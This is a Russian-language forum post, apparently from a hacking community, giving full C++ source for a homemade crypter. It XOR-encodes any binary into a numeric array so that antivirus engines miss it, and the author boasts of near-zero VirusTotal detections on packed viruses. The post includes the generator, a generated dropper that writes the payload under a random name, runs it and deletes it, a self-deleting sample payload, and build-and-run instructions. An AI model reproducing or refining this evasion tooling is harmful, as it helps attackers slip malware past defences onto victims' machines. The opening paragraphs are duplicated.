ALLERT: тему писал не шибко умный, так что просьба бросаться только тапками.
Антивирусы с времен динозавров очень любят реагировать на shellcode в коде, поэтому решил сделать shellcode в виде чисел(там уже как у кого фантазия, по двигайте байтами/битами).
Качал вирусы, упаковывал их в свой упаковщик, virustotal показывал почти 0 риска.
Все очень просто. Есть генератор кода, которому в аргументы кидаете вашу прогу. Он генерирует код и массив чисел из вашего бинарника, затем компилируете получившееся. Этот код во время работы распаковывает код вашего бинарника из массива uint32_t. (4 байта)
Если вам просто хочется получить по быстрому то что спрячет ваш вирус, просто копируйте код из листинга A, листайте в самый низ до "как юзать" и следуйте инструкциям.
Например хочу спрятать это(это как простой пример):
ЛИСТИНГ ЫЫ
ВАЖНО: в начале вашего оригинального исполняемого файла сделайте так, чтобы он удалял себя. Если не можете этого сделать, измените исходники которые будут ниже.
Просто все было задумано так: упаковщик в рантайме расшифровывает и запускает ваше божество из массива 4 байтовых чисел. Ваше божество удаляет само себя, чтобы не было следов.
Не слишком вчитывайтесь в этот код, здесь главное - это то как она считывает бинарник и засовывает их в виде чисел в packed.cpp.
ЛИСТИНГ A
Извините за такое большое колво кода, просто писал почти на коленке. Что в этом коде? Он считывает ваш бинарник по 4 байта(типа как числа) и записывает ваш бинарник в виде массива чисел в другие исходники, которые вы потом скомпилируете. Прикол в том, что с этими числами можно много что делать(двигать байтами как mirai ботнет). Антивирусы любят шелкоды, но не реагируют на большое скопление чисел.
И самое главное, что весь этот shit сгенерировал:
ЛИСТИНГ B
Мой код расшифровывает и записывает по 4 байта вашего бинарника из массива чисел в файл под случайным именем(25 рандомных букв). После этого он запускает этот файл. Ваш бинарник после этого (по идее) удаляем сам себя. Или после Sleep удаляйте ваш бинарник в распаковщике. Для этого измените
на вот это:
Родитель будет удалять файл ребенка, грустно.
Как юзать
Все просто. Компилируйте код из листинга A, и в аргументы подавайте ваш бинарник, типа так:
Это сгенерировало файл packed.cpp. Теперь компилируйте его:
P.P.d.U.p.d. Сейчас пишу с линукса, возможно где-то что-то не сработает, пожалуйста напишите если найдете ошибку. Это мой первый пост, хочу понять кто я. Так что критика приветсвуется
Антивирусы с времен динозавров очень любят реагировать на shellcode в коде, поэтому решил сделать shellcode в виде чисел(там уже как у кого фантазия, по двигайте байтами/битами).
Качал вирусы, упаковывал их в свой упаковщик, virustotal показывал почти 0 риска.
Все очень просто. Есть генератор кода, которому в аргументы кидаете вашу прогу. Он генерирует код и массив чисел из вашего бинарника, затем компилируете получившееся. Этот код во время работы распаковывает код вашего бинарника из массива uint32_t. (4 байта)
Если вам просто хочется получить по быстрому то что спрячет ваш вирус, просто копируйте код из листинга A, листайте в самый низ до "как юзать" и следуйте инструкциям.
Например хочу спрятать это(это как простой пример):
ЛИСТИНГ ЫЫ
C++:
int main(int argc, char**argv){
remove(argv[0]); //Удаляет сам себя
while(1){
std::cout<<rand(); //чтобы не потерять процесс в диспетчере задач(если запускаете как демон)
}
return 0;
}
Просто все было задумано так: упаковщик в рантайме расшифровывает и запускает ваше божество из массива 4 байтовых чисел. Ваше божество удаляет само себя, чтобы не было следов.
Не слишком вчитывайтесь в этот код, здесь главное - это то как она считывает бинарник и засовывает их в виде чисел в packed.cpp.
ЛИСТИНГ A
C++:
#include <string>
#include <cstring>
#include <fstream>
// впихивает 4 байта char из str в uint32_t, типа (c1<<24 | c2<<16 | c3<<8 | c4<<0)
// иногда size может быть не 4, а 3, 2, 1 например в конце бинарника
uint32_t getInt(const char*str, int size){
static int o[4];
for(int i = 0; i < 4; i++){
o[i] = str[i];
if(o[i] < 0) // char от -127 до 127, но а нам нужно от 0 до 255
o[i]+=256;
}
uint32_t res= 0;
for(int i =0; i < size; i++)
res |= (o[i])<<((3-i)*8); //впихиваем байты. на вид сложно, но все просто
return res;
}
int main(int argc, char**argv){
if(argc < 2){
printf("USAGE %s arg\n", argv[0]);
return 0;
}
char buffer[64];
std::ifstream fin(argv[1]);
std::ofstream fout("packed.cpp");
fout<<"#include <cstring>\n" //код нашей программы, которую будем компилировать, ниже она будет приведена
<<"#include <fstream>\n"
<<"#include <ctime>\n";
fout<<"void shell();\n"
<<"int main(){\n\tshell();\n\treturn 0;\n}\n";
fout<<"void write_shell(uint32_t*shellcode,int size, int endS){\n"
<<"\tuint32_t n =0, ff = 0xff, key=123,four=3;\n"
<<"\tunsigned int rr = time(NULL)^clock();\n\tsrand(rr);\n"
<<"\tchar dname[30]=\"./\", buffer[5];\n\tchar*name = dname+2;\n\t"
<<"for(int jj = 0; jj < 25; jj++)\n\t\tname[jj] = rand()%26 + 97;"
<<"\n\tname[25] = '\\0';\n\tstd::ofstream fout(name);\n\t"
<<"for(int i = 0; i < size; i++){\n\t\tn = shellcode[i];\n\t\tn^=key;\n\t\t"
<<"if(i+1 == size && endS != 0)four = endS;\n\t\t"
<<"for(int j = four; j >=0; j--){\n\t\t\tbuffer[j] = n & ff;\n\t\t\tn>>=8;\n\t\t}\n\t\t"
<<"fout.write(buffer, 4);\n\t}\n\tfout.close();\n\tsystem(dname);\n}";
fout<<"\n\n/*THAT'S SHELLCODE*/\nvoid shell(){\n\tuint32_t shellcode[]=\n\t{\n\t\t";
int ind = 0, tkn = 40, e =0;
uint32_t n = 0;
long long middleN = 0;
uint32_t key = 123; // ;(
while(true){
fin.read(buffer, 4);
int s = fin.gcount();
if(s<=0)
break;
else if(s!=4)
e = s;
buffer[s] = '\0';
n = getInt(buffer, s);
n^=key; // простейший XOR. да, шифрование xor, глупо, но быстро.
middleN+=n;
if(middleN > 100000ll) //говно код, сорян. Чтобы более менее соблюдать размер массива в ширину
tkn = 10; //листайте ниже
fout<<n<<", ";
if((++ind) % tkn == 0){
fout<<"\n\t\t";
middleN = 0;
tkn = 40;
}
}
fout<<"\n\t};\n\tint endS="<<e<<";\n\tint size="<<ind
<<";\n\twrite_shell(shellcode, size, endS);\n}\n/*THAT'S END OF SHELLCODE*/";
fout.close();
fin.close();
return 0;
}
//типа конец
И самое главное, что весь этот shit сгенерировал:
ЛИСТИНГ B
C++:
#include <cstring>
#include <fstream>
#include <ctime>
void shell();
int main(){
shell();
return 0;
}
void write_shell(uint32_t*shellcode,int size, int endS){
uint32_t n =0, ff = 0xff, key=123,four=3;
unsigned int rr = time(NULL)^clock(); //измените на более надежный, если надо(в предыдущих исходниках, ведь они сгенерировали эти сорцы)
srand(rr);
char dname[30]="./", buffer[5];
char*name = dname+2;
for(int jj = 0; jj < 25; jj++)
name[jj] = rand()%26 + 97; //случайно заполняем имя нашего временного бинарника, который буквально через миллисекунду себя же удалит
name[25] = '\0';
std::ofstream fout(name);
for(int i = 0; i < size; i++){
n = shellcode[i];
n^=key;
if(i+1 == size && endS != 0) //если файл не делится на 4, то считываем после 3 или 2 или 1 байтов
four = endS;
for(int j = four; j >=0; j--){
buffer[j] = n & ff;
n>>=8;
}
fout.write(buffer, 4);
}
fout.close();
system(dname); //запускается ваш бинарник под рандомным именем файла
}
/*ЭТа SHELLCODE*/
void shell(){
uint32_t shellcode[] = {
2135247933, 33620347, 123, 123, 50347643, 16777339, 3759145083, 123, 1073741947, 123,
2017132667, 123, 123, 1073756283, 218120315, 520101499, 100663419, 67108987, 1073741947, 123,
1073741947, 123, 1073741947, 123, 3624009851, 123, 3624009851, 123, 134217851, 123,
50331771, 67108987, 402849915, 123, 402849915, 123, 402849915, 123, 469762171, 123,
...
...
123, 123, 1530527867, 123, 436273275, 123, 123, 123, 16777339, 123,
123, 123,
};
int endS=0; //все это, весь этот код автоматически генерируется
int size=4302;
write_shell(shellcode, size, endS);
}
Мой код расшифровывает и записывает по 4 байта вашего бинарника из массива чисел в файл под случайным именем(25 рандомных букв). После этого он запускает этот файл. Ваш бинарник после этого (по идее) удаляем сам себя. Или после Sleep удаляйте ваш бинарник в распаковщике. Для этого измените
C++:
<<"fout.write(buffer, 4);\n\t}\n\tfout.close();\n\tsystem(dname);\n}";
C++:
<<"fout.write(buffer, 4);\n\t}\n\tfout.close();\n\tsystem(dname);Sleep(100);remove(dname);\n}";
Как юзать
Все просто. Компилируйте код из листинга A, и в аргументы подавайте ваш бинарник, типа так:
Bash:
g++ A.cpp -o packager
./packager <ваш бинарник>
Код:
g++ -s packed.cpp -o <типа название>
Важно скомпилировать с флагом -s, чтобы удалить таблицу. Теперь просто запустите и все ;)
./<типа название>